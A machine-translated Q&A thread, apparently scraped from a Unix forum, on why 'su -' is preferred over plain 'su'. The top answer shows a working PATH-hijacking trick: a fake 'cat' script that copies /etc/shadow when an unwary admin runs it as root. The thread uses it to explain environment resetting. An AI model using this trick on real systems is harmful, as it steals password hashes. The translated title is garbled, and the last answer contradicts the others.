it-swarm-ru.tech

Почему мы используем su, а не просто su?

Я не понимаю, почему su - предпочтительнее su для входа в систему как root.

187
Dharmit

su - вызывает оболочку входа в систему после смены пользователя. Оболочка входа в систему сбрасывает большинство переменных среды, обеспечивая чистую базу.

su просто переключает пользователя, предоставляя обычную оболочку со средой, почти такой же, как у старого пользователя.

Представьте, вы разработчик программного обеспечения с обычным пользовательским доступом к машине, а ваш невежественный администратор просто не даст вам root-доступ. Давайте (надеюсь) обмануть его.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Теперь вы спрашиваете своего администратора, почему вы не можете cat фиктивный файл в вашей домашней папке, он просто не будет работать!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Если ваш админ не такой умный или просто ленивый, он может подойти к вам и попробовать свои полномочия суперпользователя:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Вот Это Да! Спасибо, супер админ!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Он, он.

Вы, возможно, заметили, что поврежден $PATH переменная не была сброшена. Этого бы не случилось, если бы админ вызвал su - вместо.

251
wag

su - полностью регистрирует вас как root, тогда как su делает так, что вы притворяетесь пользователем root.

Наиболее очевидным примером этого является то, что ~ является домашним каталогом root, если вы используете su -, но ваш собственный домашний каталог, если вы используете su.

В зависимости от вашей системы это также может означать различия в подсказке, PATH или файле истории.

Поэтому, если вы являетесь частью команды, управляющей системой, и ваш коллега дает вам команду на запуск, вы знаете, что она будет работать одинаково, если вы оба используете su -, но если вы оба используете su, могут быть различия из-за разных конфигураций оболочки.

С другой стороны, если вы хотите запустить команду от имени пользователя root, но использовать свою собственную конфигурацию, то, возможно, su вам подойдет.

Также не забудьте о Sudo, который имеет -s возможность запустить оболочку от имени root. Конечно, это также имеет разные правила, и они меняются в зависимости от того, какой дистрибутив вы используете.

37
Mikel

Основным отличием является:

su - username настраивает среду оболочки так, как если бы она была чистым логином от имени указанного пользователя, она обращается к переменным среды указанных пользователей и использует их,

su username просто запускает оболочку с текущими настройками среды для указанного пользователя.

Если имя пользователя не указано с помощью su и ​​su -, учетная запись root подразумевается по умолчанию.

2
Akhil MK

Я использую su - когда я нахожусь в каталоге как обычный пользователь, но хочу переключиться на root и оставаться в том же каталоге после переключения. Когда вы используете su - он переключает пользователя на root, а также переводит вас в/root, который является корневым домашним каталогом.

1
Calvin Dike